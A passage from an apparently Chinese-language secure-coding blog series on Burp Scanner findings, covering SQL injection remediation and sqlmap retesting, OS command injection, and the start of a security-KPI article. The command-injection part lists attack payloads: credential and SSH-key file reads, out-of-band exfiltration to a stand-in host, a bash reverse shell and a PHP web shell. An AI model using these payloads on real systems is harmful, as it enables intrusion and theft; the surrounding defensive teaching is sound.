     欄位名稱無法使用 #{},此時必須搭配白名單驗證 -->
<select id="findAllSorted" resultType="Product">
    SELECT * FROM products ORDER BY ${sortColumn} ${sortDirection}
</select>
// ✅ 對應的 Service 層白名單驗證(搭配上方 MyBatis XML)
private static final Set<String> ALLOWED_SORT_COLUMNS =
    Set.of("name", "price", "created_at");
private static final Set<String> ALLOWED_DIRECTIONS =
    Set.of("ASC", "DESC");

public List<Product> findAllSorted(String sortColumn, String sortDirection) {
    // 嚴格驗證,不符合則使用預設值
    if (!ALLOWED_SORT_COLUMNS.contains(sortColumn)) {
        sortColumn = "created_at";
    }
    if (!ALLOWED_DIRECTIONS.contains(sortDirection.toUpperCase())) {
        sortDirection = "DESC";
    }
    return productMapper.findAllSorted(sortColumn, sortDirection);
}

MyBatis 黃金法則:<code class="kb-btn">#{}</code> 用於值(value),<code class="kb-btn">${}</code> 僅用於結構性識別符(如欄位名、資料表名),且後者必須搭配嚴格的白名單驗證。


Node.js(Sequelize ORM)

// ❌ 危險:誤用 raw query 拼接
const result = await sequelize.query(
  <code>SELECT * FROM products WHERE name = '${searchTerm}'</code>
);

// ✅ 安全:使用 replacements 參數
const result = await sequelize.query(
  "SELECT * FROM products WHERE name = :name",
  { replacements: { name: searchTerm } }
);

// ✅ 最佳實務:使用 Sequelize Model API
const product = await Product.findOne({
  where: { name: searchTerm }
});

注意:使用 ORM 的一般查詢方法(如 <code>findOne({ where: { id } })</code>)通常已內建參數化保護,但一旦使用 <code>raw()</code>、<code>literal()</code> 等方法,就必須自行確保安全。


6.3 長期預防建議

  • 建立 Secure Coding Guidelines:明確規定所有資料庫存取必須使用參數化查詢或 ORM,禁止使用字串拼接方式組合 SQL。
  • 程式碼審查(Code Review)設定 checklist:PR review 時明確檢查是否有字串拼接 SQL 的情況。
  • CI/CD 整合 SAST 工具:透過 Semgrep、SonarQube、Checkmarx 等工具,在提交階段自動掃描危險的 SQL 拼接模式。
  • 資料庫帳號最小權限設計:依功能拆分帳號,只讀功能使用只讀帳號,避免單一帳號擁有完整資料庫控制權。
  • 關閉生產環境的詳細錯誤輸出:確保 production 環境的錯誤不會揭露 SQL 語法或資料庫結構資訊。
  • 定期進行 DAST 掃描:將 Burp Suite Enterprise Edition 或類似工具納入 CI/CD pipeline,確保每次部署後自動掃描高風險注入點。

七、如何驗證是否修好?

7.1 Burp Suite Re-scan

修補完成後,使用 Burp Scanner 針對同一輸入點重新進行主動掃描,確認原始 issue 不再出現。

7.2 手動驗證重點

  • 在相同的輸入點重新注入原本觸發問題的 payload(如 <code>'</code>、<code>' OR 1=1–</code>),確認回應不再出現資料庫錯誤或異常行為差異。
  • 確認回應的 HTTP status code 與內容是否符合預期(例如:正常輸入 200 回應,注入 payload 亦回應統一的錯誤訊息而非 500 錯誤)。

7.3 程式碼層面確認

  • 直接審閱已修改的程式碼,確認所有相關的資料庫操作均已改用參數化查詢或預備語句(Prepared Statement)。
  • 使用 SAST 工具掃描修改後的程式碼,確認不再有字串拼接 SQL 的 pattern。

7.4 日誌觀察

  • 確認應用程式日誌與資料庫日誌中不再出現 SQL 語法錯誤記錄。
  • 若有 WAF,確認相關規則觸發記錄是否符合預期。

7.5 自動化測試

  • 在單元測試或整合測試中加入針對 SQL Injection 的安全測試案例,例如:傳入含單引號、UNION 關鍵字等的輸入,驗證系統回傳預期結果而非資料庫錯誤。
  • 將此類測試案例納入 CI pipeline,確保未來的程式碼變動不會重新引入漏洞。

7.6 sqlmap 驗證流程(授權環境專用)

⚠️ 重要前提:sqlmap 是攻擊性工具,僅可在已獲得書面授權的測試環境中執行,嚴禁對未授權系統使用。以下流程適用於修補後的回歸驗證,或在 staging 環境確認漏洞已消除。


安裝與環境準備

# 方式一:使用 pip 安裝(建議在 virtualenv 中執行)
pip install sqlmap

# 方式二:使用 Docker(隔離環境,推薦)
docker pull sqlmapproject/sqlmap
alias sqlmap="docker run --rm -it sqlmapproject/sqlmap"

# 確認版本
sqlmap --version

基本掃描:GET 參數

# 掃描單一 GET 參數
# --level 控制深度(1–5),--risk 控制風險等級(1–3)
sqlmap -u "https://staging.example.com/products?id=1" \
  --level=2 \
  --risk=1 \
  --batch          # 非互動模式,自動選擇預設選項

進階掃描:POST 參數(表單登入)

# 掃描 POST body 中的參數
sqlmap -u "https://staging.example.com/login" \
  --data="username=admin&password=test123" \
  --level=3 \
  --risk=2 \
  --batch \
  --dbms=mysql     # 若已知資料庫類型,指定可加速掃描

使用 Burp 攔截的請求直接測試

實務上最推薦的方式:先用 Burp Suite 攔截目標請求,儲存為 <code>.txt</code> 檔,再交給 sqlmap 測試。這樣可確保 Cookie、Session Token、CSRF Token 等 Header 都被正確帶入。

# 步驟一:在 Burp Proxy 攔截請求後
#         右鍵 → Save item → 存為 request.txt

# 步驟二:以請求檔作為輸入
sqlmap -r /path/to/request.txt \
  --level=3 \
  --risk=2 \
  --batch

# 若目標需要登入狀態,確認 request.txt 中已包含有效的 Cookie/Session Header

針對特定參數指定測試

# 只測試 id 參數,避免觸碰其他無關參數
sqlmap -u "https://staging.example.com/api/user?id=1&page=2" \
  -p id \
  --level=2 \
  --risk=1 \
  --batch

驗證修補成效的判讀方式

修補前後的 sqlmap 輸出差異,是判斷是否修好的關鍵指標:

# ❌ 修補前(漏洞存在)的典型輸出
[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[INFO] GET parameter 'id' appears to be 'AND boolean-based blind' injectable
...
[CRITICAL] sqlmap identified the following injection point(s):
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 1609=1609
---
# ✅ 修補後(漏洞已消除)的典型輸出
[INFO] testing connection to the target URL
[INFO] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[WARNING] GET parameter 'id' does not seem to be injectable
[CRITICAL] all tested parameters do not appear to be injectable.

常用 sqlmap 參數速查表

參數 說明 建議值
<code>–level</code> 測試深度(影響測試的參數範圍與 payload 數量) 驗證用:2;完整測試:3–4
<code>–risk</code> 風險等級(較高值會使用可能修改資料的 payload) 驗證用:1;謹慎使用 2–3
<code>–dbms</code> 指定資料庫類型(mysql/mssql/oracle/postgresql) 已知類型時指定,加速掃描
<code>–batch</code> 非互動模式,自動選擇預設值 建議在 CI 環境中啟用
<code>–tamper</code> 使用混淆腳本(如 space2comment, charunicodeencode) 測試 WAF 防禦效果時使用
<code>–proxy</code> 透過代理轉送流量(可搭配 Burp Suite 使用) 除錯時使用
<code>–forms</code> 自動偵測並測試頁面上的 HTML 表單 快速掃描靜態頁面時使用
<code>–crawl</code> 從指定 URL 開始爬取並測試 完整測試時使用,注意流量
<code>–output-dir</code> 指定輸出報告目錄 建議指定,方便存檔比對

整合進 CI/CD Pipeline 的驗證腳本示意

#!/bin/bash
# sql_injection_check.sh
# 在 staging 部署後自動執行,確認目標端點不存在 SQLi

TARGET_URL="https://staging.example.com/api/product?id=1"
SQLMAP_OUTPUT_DIR="./security-reports/sqlmap"

mkdir -p "$SQLMAP_OUTPUT_DIR"

echo "[*] 開始 SQL Injection 驗證掃描..."

sqlmap -u "$TARGET_URL" \
  --level=2 \
  --risk=1 \
  --batch \
  --output-dir="$SQLMAP_OUTPUT_DIR" \
  2>&1 | tee "$SQLMAP_OUTPUT_DIR/scan.log"

# 判斷是否發現注入點
if grep -q "identified the following injection point" "$SQLMAP_OUTPUT_DIR/scan.log"; then
  echo "[FAIL] ❌ SQL Injection 漏洞仍然存在,請檢查修補狀態"
  exit 1
else
  echo "[PASS] ✅ 未發現 SQL Injection,驗證通過"
  exit 0
fi

將此腳本加入 CI/CD Pipeline 的 post-deploy 階段,可在每次部署後自動確認關鍵端點的 SQLi 狀態,並透過 exit code 控制 pipeline 是否繼續進行。


八、從 SSDLC 角度,應該在哪個階段攔下來?

Requirements(需求階段)

在需求規格中明確定義安全需求:所有資料庫存取功能必須使用參數化查詢,並納入驗收條件(Acceptance Criteria)。若有使用外部套件或 ORM 框架的需求,應在此階段評估其安全性。

Design(設計階段)

架構設計時應定義資料庫存取層(Data Access Layer / DAO)的設計模式,規範統一透過參數化查詢介面進行資料庫互動,避免各功能模組自行組合 SQL。同時,應設計資料庫帳號的最小權限架構,並規劃錯誤處理機制(統一錯誤訊息,不暴露資料庫細節)。

Implementation(實作階段)

這是 SQL Injection 最常被引入的階段,也是最關鍵的防線。開發者在撰寫資料庫查詢時應強制遵循 Secure Coding Guidelines,並在 Code Review 時由同僚或資安人員檢查是否存在字串拼接 SQL 的模式。SAST 工具應在此階段即時提供反饋。

Verification(驗證階段)

執行 SAST 掃描(靜態分析)與 DAST 掃描(Burp Suite 等動態測試),同時進行人工 Penetration Testing,針對所有使用者輸入點測試 SQL Injection。此階段最適合發現並確認漏洞是否真實存在。

Deployment(部署階段)

確認生產環境的資料庫設定符合安全基準:關閉詳細錯誤輸出、確認帳號權限最小化、確認沒有測試用的 debug 設定殘留。可考慮在 WAF 規則層加入 SQL Injection 防護作為縱深防禦。

Operations(維運階段)

持續監控應用程式日誌與 WAF 日誌,設定異常查詢告警(如頻繁的 SQL 錯誤、異常高延遲查詢)。定期執行週期性 DAST 掃描,確保新功能上線後不引入新漏洞。同時,持續追蹤資料庫套件與 ORM 框架的安全更新。

最適合預防的階段:Implementation(實作)+ Design(設計)
最容易被發現的階段:Verification(驗證)+ Operations(維運)


九、這個漏洞常見的誤解

誤解一:「用了 ORM 就不可能有 SQL Injection」
ORM 確實大幅降低了 SQLi 的風險,但並非鐵板一塊。只要開發者使用 ORM 提供的 raw query 介面並進行字串拼接,風險依然存在。Django 的 <code>raw()</code>、Hibernate 的 <code>createNativeQuery()</code>、MyBatis 的 <code class="kb-btn">${}</code>,都是常見的「ORM 保護被繞過」情境。使用 ORM 不等於安全,關鍵在於如何使用。

誤解二:「有 WAF 就夠了,不用改程式碼」
WAF 是縱深防禦的一層,而非替代修補的理由。WAF 規則可能被繞過(如使用編碼、換行符、注釋變形等技巧),且 WAF 無法處理所有情境(如 Out-of-band 注入)。根本修補仍必須在程式碼層面完成。

誤解三:「我的資料庫只有內部資料,外洩也無所謂」
內部資料同樣可能包含員工個資、商業機密、系統帳號或 API 金鑰。攻擊者取得資料庫存取後,可能進一步利用資料庫帳號進行橫向移動,影響範圍遠超過原始資料本身。

誤解四:「參數化查詢會影響效能,不適合高流量系統」
這是一個常見但早已過時的疑慮。現代資料庫對 Prepared Statement 有良好的快取機制,在高流量系統中使用參數化查詢不僅安全,效能表現往往與動態 SQL 相當,甚至更好。效能考量不應成為放棄安全設計的藉口。


十、重點整理

  • SQL Injection 的根本成因是使用者輸入未被適當區隔,直接參與 SQL 語句結構,應透過參數化查詢(Prepared Statement)從根本解決,而非依賴輸入跳脫或 WAF。
  • Burp Scanner 透過主動注入異常 payload 來偵測 SQLi,掃描結果需人工驗證,確認是否為真實可利用漏洞;sqlmap 可用於授權環境的進一步確認與修補後回歸測試。
  • 影響範圍從資料外洩到主機控制都有可能,取決於資料庫帳號權限與底層環境配置,不應低估。
  • SSDLC 中最關鍵的防線在實作階段:Secure Coding Guidelines + Code Review + SAST 工具是阻止 SQLi 被引入的最有效組合。
  • ORM、WAF、輸入驗證都是有價值的防禦層次,但都不能取代參數化查詢作為核心修補手段;縱深防禦各層應並行部署,而非互相替代。

十一、參考對照

欄位 內容
Burp Scanner Issue Name SQL injection
Severity High
Index (hex) <code>0x00100200</code>
Index (dec) <code>1049088</code>
CWE-89 Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)
CWE-94 Improper Control of Generation of Code (‘Code Injection’)
CWE-116 Improper Encoding or Escaping of Output
CAPEC CAPEC-66: SQL Injection

[Burp Scanner Issue] 001 OS Command Injection 完整解析:成因、攻擊手法與安全修補指南

OS Command Injection(作業系統命令注入)在資安領域中幾乎是「最不應該出現、但現實中卻反覆出現」的漏洞之一。它的嚴重性不亞於 SQL Injection,但在許多開發團隊的意識中,卻常被低估,甚至因為「功能正常」而被忽略。

這個漏洞的危險之處在於它跨越了應用程式的邊界,直接觸及底層作業系統。一旦被成功利用,攻擊者不再受限於應用程式本身的功能範疇,而是能以伺服器身份執行任何系統命令——讀取敏感檔案、新增帳號、建立後門、或向內網發起橫向攻擊。這正是它在 Burp Scanner 中被標記為 High Severity 的主要原因。


一、這是什麼漏洞?

白話解釋

OS Command Injection 的核心問題是:應用程式在執行系統指令時,把使用者提供的資料直接拼接進命令字串,並透過 Shell 直譯器執行,卻沒有做足夠的驗證與隔離。

舉個具體例子:假設一個網站有個「Ping 測試」功能,前端讓使用者輸入 IP,後端程式碼這樣寫(Node.js 示意):

// ❌ 危險寫法
const { exec } = require('child_process');
const userInput = req.query.ip; // 使用者輸入,未驗證
exec(<code class="kb-btn">ping -c 4 ${userInput}</code>, (err, stdout) => {
  res.send(stdout);
});

當使用者輸入的不是合法 IP,而是 <code>8.8.8.8; cat /etc/passwd</code>,Shell 會把它拆解成兩個命令:

  1. <code>ping -c 4 8.8.8.8</code>
  2. <code>cat /etc/passwd</code>

兩個都會被執行,系統密碼檔案的內容就被吐回給攻擊者了。

漏洞本質

這個漏洞的本質是信任邊界的混淆:應用程式在建構命令時,沒有清楚區分「程式邏輯」和「使用者資料」,導致使用者資料被 Shell 當成命令邏輯來解讀。

與相近漏洞的差異

漏洞類型 注入目標 執行環境
OS Command Injection Shell 命令 作業系統層
SQL Injection SQL 查詢語句 資料庫層
Code Injection 應用程式語言(eval 等) 應用程式執行環境
LDAP Injection LDAP 查詢 目錄服務層

OS Command Injection 的破壞力通常最大,因為作業系統層的權限往往超越資料庫或應用程式層。


二、Burp Scanner 為什麼會報這個問題?

偵測策略:主動掃描為主

Burp Scanner 對 OS Command Injection 的偵測主要依賴主動掃描(Active Scanning),被動掃描較難觸發此類問題。

Burp 會在可疑的輸入點(URL 參數、POST 表單欄位、HTTP Header、Cookie 值等)注入各種測試 Payload,並觀察回應行為來判斷是否存在注入點。

常見的偵測手法

Burp Scanner 通常使用以下幾種方式來偵測 OS Command Injection:

1. 時間延遲測試(Time-based Detection)

這是最常見也最可靠的偵測方式。Burp 注入像這樣的 Payload:

  • Unix/Linux:<code>; sleep 10 #</code>、<code>|| sleep 10</code>、<code>& sleep 10 &</code>
  • Windows:<code>& timeout /t 10</code>、<code>| timeout /t 10</code>

若伺服器回應時間明顯增加(例如延遲 10 秒),Burp 就會判定命令被執行。這種方法的優點是不依賴錯誤訊息,在 Out-of-Band 環境也適用。

2. 輸出回顯測試(Output-based Detection)

Burp 嘗試在命令中插入能產生固定輸出的指令,例如:

  • Unix:<code>; echo BURP_CANARY_STRING</code>、<code>| id</code>、<code> </code>whoami<code> </code>
  • Windows:<code>& echo BURP_CANARY_STRING</code>

若回應頁面中出現對應字串,Burp 會確認注入成功。

3. Shell 特殊字元模糊測試

Burp 會系統性地對輸入點注入各種 Shell 特殊字元,觀察回應是否出現錯誤訊息、行為改變或結構性差異:

; | || & && ` $() > >> < 換行符號(%0a)

4. Out-of-Band(帶外)偵測

當應用程式完全沒有回傳命令輸出時,Burp Pro 的 Collaborator 功能會讓伺服器主動向外發出 DNS 查詢或 HTTP 請求:

; nslookup $(whoami).attacker.burpcollaborator.net

若 Collaborator 收到請求,即確認命令執行成功。

重要提醒

Burp Scanner 的報告不等同於可穩定利用。 掃描器的判定是基於行為特徵,以下情況可能造成誤報(False Positive):

  • 伺服器本身的網路延遲造成時間差誤判
  • 應用程式碰巧在回應中回傳了類似 Canary 的字串
  • WAF 或中間件篡改了請求/回應

所有 Burp 報告的 OS Command Injection 都應由資安人員進行人工驗證,確認是否真正可利用。


三、可能造成的風險與影響

OS Command Injection 被 Burp 標記為 High Severity,在 CVSS 評分中通常達到 9.0 以上,以下從多個面向說明實際衝擊:

機密性(Confidentiality)

  • 讀取伺服器上的任意檔案(<code>/etc/passwd</code>、<code>.env</code>、設定檔、私鑰)
  • 傾倒資料庫連線字串,進一步取得資料庫完整內容
  • 取得雲端環境的 Instance Metadata(如 AWS EC2 的 IAM Token)

完整性(Integrity)

  • 修改應用程式程式碼,植入 Web Shell
  • 竄改系統設定檔,破壞應用程式正常運作
  • 刪除或加密檔案(勒索軟體攻擊路徑之一)

可用性(Availability)

  • 執行 <code>rm -rf /</code> 或大量消耗資源的命令,造成服務中斷
  • 關閉關鍵服務或重啟系統

橫向移動(Lateral Movement)

應用程式伺服器通常位於 DMZ 或內網,攻擊者取得 Shell 後可利用伺服器作為跳板:

  • 掃描內網其他主機
  • 利用伺服器的內網憑證或信任關係,存取資料庫、儲存服務、內部 API
  • 滲透至 Kubernetes 叢集、CI/CD 系統或程式碼倉庫

持久性(Persistence)

  • 新增 SSH 公鑰至伺服器
  • 設定 Crontab 定期執行惡意程式
  • 安裝 Rootkit,即使漏洞被修補後仍保有存取權

即使執行命令的帳號權限受限(例如 <code>www-data</code>),攻擊者仍可透過本地提權漏洞或設定錯誤進一步擴大影響範圍。


四、常見成因

以下是工程師在開發過程中最常引入 OS Command Injection 的情境:

1. 直接拼接使用者輸入至命令字串

這是最根本的成因。開發者為了快速實現功能,直接使用字串拼接建構命令:

# ❌ Python 危險範例
import os
filename = request.args.get('file')
os.system(f"convert {filename} output.pdf")

2. 使用 Shell=True 模式執行子程序

許多語言提供的子程序 API 有一個選項允許透過 Shell 執行,這讓 Shell 特殊字元生效:

# ❌ Python subprocess 危險寫法
import subprocess
subprocess.run(f"grep {user_input} /var/log/app.log", shell=True)

3. 呼叫外部工具時未隔離參數

應用程式需要呼叫外部工具(如 ImageMagick、ffmpeg、git、curl)時,直接將使用者輸入作為參數傳入,卻沒有用 Argument Array 隔離:

// ❌ Node.js 危險範例
const exec = require('child_process').exec;
exec(<code>ffmpeg -i ${req.body.inputFile} output.mp4</code>);

4. 對使用者輸入的信任過度依賴前端驗證

後端完全信任前端的下拉選單或 JavaScript 驗證,認為使用者只能輸入預期的值,沒有在後端做白名單驗證。攻擊者只需用 curl 或 Burp 直接發送惡意請求即可繞過前端限制。

5. 測試用的系統呼叫殘留至正式環境

開發或測試階段為了方便 Debug,直接加入了呼叫系統命令的功能(如執行 shell script、呼叫診斷工具),部署至正式環境時忘記移除。

6. 第三方套件或 CMS 插件引入的間接呼叫

應用程式本身可能沒有問題,但所依賴的第三方函式庫或 CMS 插件內部有不安全的命令呼叫。這類問題往往在 SCA(Software Composition Analysis)掃描時才被發現。


五、攻擊者可能怎麼利用?

攻擊思路概覽

攻擊者通常會按照以下流程逐步確認與利用 OS Command Injection:

階段一:偵察與確認

攻擊者首先找到所有將使用者輸入傳遞給後端的點,特別關注那些「看起來像是觸發伺服器動作」的功能,例如:檔案轉換、Ping/Traceroute 工具、報表匯出、DNS 查詢、系統健康檢查。

階段二:注入測試

從簡單的特殊字元開始,觀察回應是否有異常:

常用偵測 Payload(Unix/Linux):

# 時間延遲確認(若頁面慢 10 秒才回應,代表命令被執行)
; sleep 10
| sleep 10
&& sleep 10
%0a sleep 10          # 換行符注入

# 輸出回顯確認
; echo vulnerable123
| id
; whoami
<code>id</code>
$(id)

# Out-of-Band(需 Burp Collaborator 或自建 DNS Server)
; nslookup <code>whoami</code>.your-server.com
; curl http://your-server.com/$(id)

常用偵測 Payload(Windows):

& timeout /t 10
| timeout /t 10
& echo vulnerable123
& whoami

階段三:確認後擴大利用

一旦確認命令執行,攻擊者會嘗試:

# 確認環境資訊
; uname -a; id; pwd; env

# 讀取敏感檔案
; cat /etc/passwd
; cat /proc/self/environ
; cat ~/.ssh/id_rsa

# 建立反向 Shell(以 bash 為例)
; bash -i >& /dev/tcp/attacker-ip/4444 0>&1

# 植入 Web Shell(確保持久存取)
; echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php

如何手動檢測

在人工驗證時,建議按照以下步驟:

  1. 用 Burp Suite 攔截請求,找出所有可疑輸入點(包含 Header 和 Cookie)
  2. 注入時間延遲 Payload,確認伺服器回應時間是否符合預期延遲
  3. 嘗試輸出回顯,確認命令結果是否出現在回應中
  4. 若前兩者皆無回應,使用 Burp Collaborator 進行帶外確認
  5. 記錄所有測試過程,包含 Request/Response,以便後續修補驗證

六、開發與維運團隊該怎麼修補?

6.1 短期補救措施

在正式修補完成前,可先採取以下緊急措施降低風險:

  • WAF 規則強化:在 WAF 上加入規則,阻擋常見的 Shell 特殊字元組合(<code>;</code>、<code>|</code>、<code>&&</code>、<code> </code><code>、</code>$()`)傳入可疑的 API 端點。但要注意,這只是緩解措施,有繞過風險。
  • 流量監控與告警:在 SIEM 或 IDS 中設定規則,偵測包含 Shell 特殊字元的異常請求。
  • 降低執行權限:確認應用程式執行帳號(如 <code>www-data</code>、<code>node</code>)的權限是否符合最小權限原則,避免攻擊者在注入後直接取得 root 權限。
  • 暫時關閉高風險功能:若特定功能(如系統診斷工具)風險過高且非核心業務,評估暫時下架。

6.2 正確修補方式

原則一:完全避免使用系統命令(最優先)

大多數情境下,呼叫系統命令並非必要。以程式語言的原生函式庫替代:

// ❌ 危險:用命令列 ping
exec(<code class="kb-btn">ping -c 4 ${userInput}</code>);

// ✅ 安全:用 Node.js 原生 DNS 函式庫
const dns = require('dns');
dns.lookup(userInput, (err, address) => {
  // ...
});
# ❌ 危險:用命令列處理圖片
os.system(f"convert {user_file} output.png")

# ✅ 安全:用 Pillow 函式庫
from PIL import Image
img = Image.open(user_file_path)  # 注意 user_file_path 仍需驗證是否為合法路徑
img.save("output.png")

原則二:使用 Argument Array,絕不透過 Shell 執行

若確實必須呼叫外部程式,使用 Argument Array 傳遞參數,讓作業系統直接 fork/exec,不經過 Shell 直譯器:

// ❌ 危險:透過 Shell 執行,Shell 特殊字元生效
const { exec } = require('child_process');
exec(<code>ffmpeg -i ${userInput} output.mp4</code>);

// ✅ 安全:Argument Array,不經過 Shell
const { execFile } = require('child_process');
execFile('ffmpeg', ['-i', userInput, 'output.mp4'], (err, stdout) => {
  // Shell 特殊字元在這裡只是普通字串,不會被解讀
});
# ❌ 危險
import subprocess
subprocess.run(f"grep {keyword} /var/log/app.log", shell=True)

# ✅ 安全:列表傳參,shell=False(預設值)
subprocess.run(["grep", keyword, "/var/log/app.log"])

原則三:嚴格的白名單輸入驗證

若無法完全避免系統呼叫,在傳入命令前,對使用者輸入實施嚴格的白名單驗證:

# ✅ Python 白名單驗證範例
import re

def validate_ip_address(ip: str) -> bool:
    """只允許合法 IPv4 格式,拒絕所有其他字元"""
    pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
    if not re.match(pattern, ip):
        return False
    parts = ip.split('.')
    return all(0 <= int(p) <= 255 for p in parts)

user_input = request.args.get('ip', '')
if not validate_ip_address(user_input):
    return jsonify({'error': 'Invalid IP address'}), 400

# 此時才呼叫(且應搭配 Argument Array)
subprocess.run(['ping', '-c', '4', user_input])

6.3 長期預防建議

  • 程式碼審查 Checklist:在 Code Review 的 Checklist 中加入「是否使用了 <code>exec</code>、<code>system</code>、<code>popen</code>、<code>shell=True</code>」等危險模式的確認項目。
  • SAST 工具導入:在 CI/CD Pipeline 中整合靜態應用程式安全測試(SAST),自動偵測危險的命令執行模式(如 Semgrep、Bandit、ESLint security plugin)。
  • SCA 掃描:對依賴套件進行成分分析,確認第三方函式庫是否有已知的 Command Injection 漏洞。
  • 容器最小化:以最小化的 Docker 映像執行應用程式,移除非必要的系統工具(如 <code>bash</code>、<code>nc</code>、<code>curl</code>),降低攻擊者可利用的工具數量。
  • 開發者資安教育:定期對開發團隊進行 Secure Coding 訓練,讓大家瞭解「呼叫系統命令」是高風險操作,必須特別謹慎。

七、如何驗證是否修好?

修補完成後,應透過多種方式確認漏洞已被正確消除:

Burp Suite 重新掃描

在 Burp Scanner 中對修補後的端點重新執行主動掃描,確認不再觸發 OS Command Injection 的告警。若使用 Burp Enterprise,可在 CI/CD Pipeline 中整合自動掃描,確保每次部署後都能驗證。

手動驗證重點

  1. 重現原始 Payload:使用原本發現漏洞的 Payload,確認伺服器回應已正常,不再有時間延遲或命令輸出。
  2. 邊界測試:嘗試各種 Shell 特殊字元組合,確認白名單驗證是否足夠嚴謹。
  3. 繞過測試:測試 URL Encoding(<code>%3b</code>、<code>%7c</code>)、雙重編碼、Unicode 變體等,確認驗證邏輯沒有被繞過的空間。
  4. 確認使用 Argument Array:透過 Code Review 確認程式碼使用了安全的 API,而非依賴字串過濾。

日誌觀察

  • 在修補後的測試期間,觀察應用程式日誌、WAF 日誌是否有異常請求被攔截
  • 若有 IDS/SIEM,確認是否有針對 Shell 特殊字元的告警觸發

自動化測試

# 整合測試範例:確認命令注入 Payload 被拒絕
import requests

PAYLOADS = [
    "; sleep 10",
    "| id",
    "&& whoami",
    "<code>id</code>",
    "$(id)",
    "%0a id",
]

def test_command_injection_blocked():
    base_url = "https://your-app.com/api/ping"
    for payload in PAYLOADS:
        response = requests.get(base_url, params={"ip": f"8.8.8.8{payload}"}, timeout=5)
        # 確認請求在 5 秒內回應(排除 sleep 注入成功的情況)
        assert response.elapsed.total_seconds() < 8, f"Possible injection with payload: {payload}"
        assert response.status_code in [400, 422], f"Expected validation error, got: {response.status_code}"

八、從 SSDLC 角度,應該在哪個階段攔下來?

OS Command Injection 是一個在所有 SSDLC 階段都應該被關注的漏洞,但各階段的著力點不同:

Requirements(需求階段)

預防重點: 在定義功能需求時,就應明確規範哪些功能「不應使用系統命令呼叫」。若業務需求確實需要呼叫外部程式,應在需求文件中標記為高風險功能,並要求設計和實作時採用安全機制。

實務上,許多「Ping 工具」、「檔案格式轉換」等功能在需求階段就可以改用程式庫實作,完全避免系統呼叫的需求。

Design(設計階段)

預防重點: 進行威脅建模(Threat Modeling)時,識別所有需要呼叫外部程序的設計決策,並在設計文件中明確規範安全的呼叫方式(Argument Array、最小權限帳號、沙盒環境)。

設計時也應考慮是否需要針對此類功能設計額外的存取控制層,確保只有授權使用者才能觸發涉及系統呼叫的操作。

Implementation(實作階段)

最容易引入漏洞的階段,也是最重要的防禦點。

  • 制定 Secure Coding Guidelines,明確禁止使用不安全的命令執行模式
  • 進行 Peer Code Review 時,重點審查所有涉及 <code>exec</code>、<code>system</code>、<code>popen</code>、<code>shell=True</code> 的程式碼
  • 使用 SAST 工具(如 Semgrep、Bandit)在開發階段即時偵測危險模式

Verification(驗證階段)

最容易被發現的階段。

  • 執行 DAST 掃描(如 Burp Scanner、OWASP ZAP)對所有輸入點進行自動化測試
  • 安排 Penetration Testing,由資安人員人工驗證高風險功能點
  • 在 CI/CD Pipeline 中整合自動化安全測試,確保每個 PR 都通過基本的安全檢查

Deployment(部署階段)

預防重點: 確保部署環境遵循最小權限原則:

  • 應用程式執行帳號只有必要的系統權限
  • 容器映像移除不必要的系統工具
  • 啟用 AppArmor 或 Seccomp Profile,限制容器可執行的系統呼叫

Operations(維運階段)

預防重點: 建立持續監控機制:

  • WAF 規則定期更新,涵蓋最新的繞過手法
  • SIEM 告警規則偵測異常的系統命令執行行為
  • 定期進行安全掃描(週期性 DAST),確保新功能沒有引入新的注入點
  • 建立漏洞回報與修補的 SOP,確保發現問題時能快速處置

最佳預防時機: Requirements → Design → Implementation(越早越好)
最容易發現時機: Verification → Operations


九、這個漏洞常見的誤解

誤解一:「Burp 掃到了,但我們有 WAF,應該沒問題」

WAF 是一層重要的防禦,但不是萬靈丹。攻擊者有許多繞過 WAF 的手法,包含 URL 編碼、大小寫混用、使用替代的 Shell 語法(如 <code class="kb-btn">${IFS}</code> 替代空格)。

正確的做法是修復根本原因(使用安全 API、實施白名單驗證),而不是依賴 WAF 來遮掩問題。

誤解二:「掃描器說是 High,但應用程式只是一個內部工具,沒有對外開放」

即使是內部工具,OS Command Injection 仍然危險。內部使用者(包含被攻擊的內部帳號、或透過 VPN 進入的攻擊者)都可能利用這個漏洞。許多大型資安事件的起點,正是一個「不重要的內部工具」。

誤解三:「我們做了輸出編碼,所以是安全的」

輸出編碼(Output Encoding)是防禦 XSS 的手段,不能防禦 OS Command Injection。這兩者是不同的漏洞,需要不同的防禦機制。防禦 OS Command Injection 的核心是輸入驗證使用安全 API,而非輸出編碼。

誤解四:「掃描有報不代表真的可以利用,先放著沒關係」

時間延遲型的 Command Injection 確認方式已相當可靠,「有報有原因」是基本原則。即便在極少數的誤報情況下,也應該花時間人工確認並關閉。把高風險漏洞列為「待確認」而長期擱置,是許多企業資安事件的共同前因。


十、重點整理

  • OS Command Injection 的根本成因是信任邊界的混淆:應用程式將未驗證的使用者輸入傳遞給 Shell 直譯器,讓使用者資料被當成命令邏輯執行。
  • 修補的最優先策略是完全避免系統命令呼叫,改用程式語言的原生函式庫;若必須呼叫外部程式,應使用 Argument Array,絕對不透過 Shell 傳遞命令字串。
  • Burp Scanner 的高嚴重性報告需要人工驗證,但絕不應因此而輕忽——時間延遲型偵測的可靠度相當高,誤報率低。
  • 從 SSDLC 角度,預防 OS Command Injection 最有效的階段是 Requirements 和 Implementation,越早在設計上排除「使用系統命令」的需求,修補成本越低。
  • WAF、最小權限、容器隔離都是重要的縱深防禦層,但不能取代根本的程式碼修補——安全的架構需要多層防線同時到位。

十一、參考對照

項目 內容
Burp Scanner Issue Name OS command injection
Severity High
Type Index (Hex) 0x00100100
Type Index (Dec) 1048832
CWE-77 Improper Neutralization of Special Elements used in a Command (‘Command Injection’)
CWE-78 Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
CWE-116 Improper Encoding or Escaping of Output
CAPEC CAPEC-248: Command Injection
參考資源 Web Security Academy: OS command injection

[安全教育] 002 資安 KPI 怎麼定?用數據證明安全投資的價值|關鍵指標與成效追蹤實戰指南

「沒有度量,就沒有改進。沒有改進,就沒有信任。
你花了三個月導入 SSDLC,老闆問你『成效在哪?』——你拿得出數據嗎?
安全不只要做得好,還要讓人看得見。」
— SSDLC by 飛飛


一、資安指標是什麼?為什麼你需要一張「安全體檢報告」?
